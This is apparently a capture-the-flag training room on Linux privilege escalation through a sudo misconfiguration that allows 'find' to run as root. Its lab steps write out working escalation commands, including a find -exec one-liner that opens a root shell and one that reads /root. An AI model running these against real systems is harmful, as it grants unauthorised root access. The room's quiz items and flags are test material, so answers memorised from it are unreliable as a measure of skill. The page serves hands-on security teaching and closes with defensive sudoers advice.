From user to root with sudo
You have an ordinary account. See what sudo lets you run, and use it to become root.
Once you are on a machine as an ordinary user, the next step is privilege escalation: reaching root. One of the most common ways in is a sudo mistake: the admin lets a user run one program as root without noticing that the program can run any other command.
Credentials: user trainee, password trainee.
0 of 4 · 0 of 85 points
Target machine
Ubuntu 24.04 (sudo misconfiguration) · Runs for 60 minutes, and you can extend it
Sign in to start your own machine.
Task 1: Log in
Press Start machine. Within a minute your own IP address appears. Run every command in this room from the AttackBox (the "Open AttackBox" button) or from your computer over the VPN. Replace IP with your machine's address.
This is an isolated training machine that is yours alone. Using these techniques on systems you have no written permission to test is a crime.
Log in
ssh trainee@IP # password: trainee
ls
cat user.txt
1.1The user flag (user.txt in your home folder)
20Task 2: What does sudo allow?
sudo -l lists what you may run as root:
sudo -l
A line with NOPASSWD means you can run that program as root without typing a password.
2.1Which program can you run as root without a password? (just its name)
15Task 3: Become root
find searches for files, but its -exec option runs a command on every file it finds. If find itself runs as root, so does that command:
sudo find /etc -maxdepth 0 -exec id -un \;
sudo find /root -name root.txt -exec cat {} \;
Or open a full root shell:
sudo find . -exec /bin/bash \; -quit
The GTFOBins site collects programs like find (and vim, less, tar...) and how each can be abused when allowed through sudo.
The lesson: never allow sudo on a program that can run commands or open a shell. Allow one specific script instead, and review /etc/sudoers.d/ regularly.
3.1What does id -un print when it runs from inside find?
103.2The root flag (in /root)
40